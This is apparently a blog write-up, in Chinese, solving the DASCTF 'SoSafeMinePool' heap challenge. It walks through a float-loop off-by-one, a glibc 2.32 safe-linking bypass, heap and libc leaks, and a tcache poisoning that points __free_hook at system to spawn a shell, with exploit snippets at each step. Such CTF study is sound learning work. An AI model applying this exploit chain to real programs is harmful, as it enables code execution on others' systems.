updated:

DASCTF八月赛SoSafeMinePool题解


首先查看题目,题目给出一个64位elf文件pwn以及ld.so, libc.so.6。使用checksec查看发现文件pwn除canary外保护全开,有rpath ‘./’。反编译发现是经典的堆菜单题。 查看每一个功能,发现在编辑功能中存在一个以浮点数作为循环变量的for循环,根据浮点数精度丢失的知识我们推测此处在某些情况下会比正常情况多循环一次,如图所示:

使用gdb调试,实验验证发现问题确实存在,如当最大值为0.4时该循环会进行41次。 进一步调试发现堆的结构存在异常,如free三个较小的堆块后发现对应地址内容如下:

可以看到chunk的next域指针并没有指向堆内部,结合题目中的advanced technology推测是某种加密技术。因此我们需要检查附带的glibc版本来获取更多信息。运行strings libc.so.6 grep GLIBC 命令,得到如下结果:

此时我们可以确定该glibc版本为2.32,查阅相关资料得知glibc 2.32新引入了一种safe-linking机制,该机制用于对单链表tcache以及fastbin的fd指针进行加密,从而增强安全性,加密的规则为将fd指针与右移3个字节的堆基地址进行异或操作。相关宏如下(ptr为待加密指针,单线程情况下,pos为heap基地址);

1
2
3
#define PROTECT_PTR(pos, ptr) \  
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

因此我们需要进行两次泄露,分别泄露出堆的基地址以及libc基地址。 我们利用off-by-one漏洞进行heap overlap进行泄露。首先,我们需要两种大小的chunk,这里选取0.4和1.3,较小大小的chunk用于分割和被overlap,较大大小的chunk要求能被分配到unsortedbin,从而进行overlap。为了便于操作,先填满两种大小的chunk对应的tcache链:

1
2
3
4
5
6
7
8
9
10
for i in range(7):  
add(0.4)

for i in range(7):
add(1.3)

add(0.4) # 14
add(1.3) # 15
add(0.4) # 16
add(0.4) # 17

然后分配四个chunk备用。14号chunk用于覆盖15号chunk的size域,15号chunk用于overlap到16号chunk,16号chunk用于泄露信息以及修改17号chunk的prev_size域和size域的PREV_INUSE位(为了通过malloc_consolidate和_int_malloc中的检查,后面会详细说明) 首先free掉15号chunk使其进入unsorted bin,然后编辑14号chunk使用off-by-one漏洞修改15号chunk的size域,使15号chunk包含16号chunk:

1
2
3
4
5
free(15)  # 15 in unsorted bin  

overlap_size = chunk.request2size(130) + chunk.request2size(40)
chunk.norm_size = overlap_size
fill(14, b'a' * 40 + chunk[1][:1]) # overlap 15 to 16

为了控制和泄露16号chunk的内容,我们需要再分配一次相应大小(即overlap_size对应的request size)的chunk。但这时不能直接分配,否则会触发_int_malloc函数中的检测机制,摘录相应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 /* 检测如下几点 
* 1. 本块与毗邻的下一块的size是否正确
* 2. 本块的size与毗邻的下一块的prev size域是否吻合
* 3. 本块是否与双向链表中的下一个块形成双向连接
* 4. 毗邻的下一块的prev inuse位是否被置位
*/
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
__glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (ne1xt) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
__glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

从这里我们可以看出,要想绕过unsorted bin的检测,我们需要伪造17号chunk的prev_size域以及size域的PREV_INUSE位。如下:

1
2
3
4
5
chunk.P = PREV_NOT_INUSE  
chunk.norm_size = chunk.request2size(40)
payload = b'\x00' * 32 + p64(overlap_size) + chunk[1][:1]
fill(16, payload)
add(chunk.size2request(overlap_size) / 100) # control 16

这时原本的15号chunk被分配到了0号,同时我们可以通过该chunk来修改和访问16号chunk的内容了。 接下来我们通过16号chunk泄露堆和libc的基地址。大致的思路为释放16号chunk进入fastbin,此时16号chunk为fastbin中的第一个。同时也是最后一个chunk,这意味着该chunk的fd域应当为0,经过safe-linking加密后该域的值即为堆地址>>12(我们将其称为cookie)。此时只需show 0号(原15号)chunk即可泄露cookie。在此之前,由于add 15号chunk引起了16号chunk的内容被清空,我们需要修复第16号chunk的size域。

1
2
3
4
5
6
7
8
chunk.P = PREV_INUSE  

payload = b'\x00' * chunk.maxSize(130) + chunk[1][:1]
payload = payload.ljust(184, b'\x00') + chunk[1][:1]

fill(0, payload)
free(16) # now 16 is in fastbin and 16 is the last chunk
show(0) # leak cookie

下一步泄露libc地址,我们需要通过一个bins中的chunk。我们知道

  1. fastbin中的chunk会在malloc_consolidate之后进入unsorted bin
  2. 申请一个大小在largebin范围内时,_int_malloc函数会调用malloc_consolidate函数
  3. scanf接受一个超长的字符串时会申请一个large chunk
  4. 本题接受用户选项的函数为scanf

因此只需输入一个超长(0x400)字符串,16号chunk便会顺利进入unsorted bin,进而在_int_malloc之后的循环中进入small bin。再show一次0号chunk即可获取libc中的一个地址,经过简单的计算得到libc基地址。代码如下:

1
2
3
4
5
6
a.sendlineafter(">> ", '0' * 0x400) # consolidate, now 16 in smallbin  
show(0) # leak libc address
a.recvuntil("it: ")
a.recvn(chunk.maxSize(130) + 0x8)
libc_base =u64(a.recvn(8)) - 0x1b7c20
log.success(f"{libc_base=:#x}")

我们获取了libc地址以及cookie之后,接下来的选择就多一些了,可以利用fastbin attack或者tcache attack。这里我们选择稍微简单的tcache attack。首先通过一系列操作将16号chunk放入tcache,并使得该chunk是链表首,且并非链表中的唯一chunk。

1
2
3
4
5
6
for i in range(7):  
add(0.4) # no.1 to no.7

add(0.4) # no.8
free(1)
free(8) # 8 put in tcache

这时原16号chunk变成8号。我们可以通过编辑0号chunk来控制其fd指针指向__free_hook。

1
2
3
4
5
6
7
chunk.cookie = cookie  
chunk.fd = fhook_addr

payload = b'\x00' * chunk.maxSize(130) + chunk[1:]
payload = payload.ljust(184, b'\x00') + chunk[1][:1]

fill(0, payload) # overlap 8

然后add两次获得__free_hook控制权,编辑为system函数地址,在1号chunk中写入/bin/sh,然后free一号chunk即可获取flag。

1
2
3
4
5
add(0.4) # 1  
add(0.4) # 8
fill(8, p64(system_addr).ljust(41, b'\x00'))
fill(1, b'/bin/sh'.ljust(41, b'\x00'))
free(1)

(Chunk类的实现见https://github.com/CTSinon/Autopwn/blob/dev/autopwn/core/classes.py)


← Prev Glibc TLS的实现与利用 | roarctf_2019_easy_pwn题解 Next →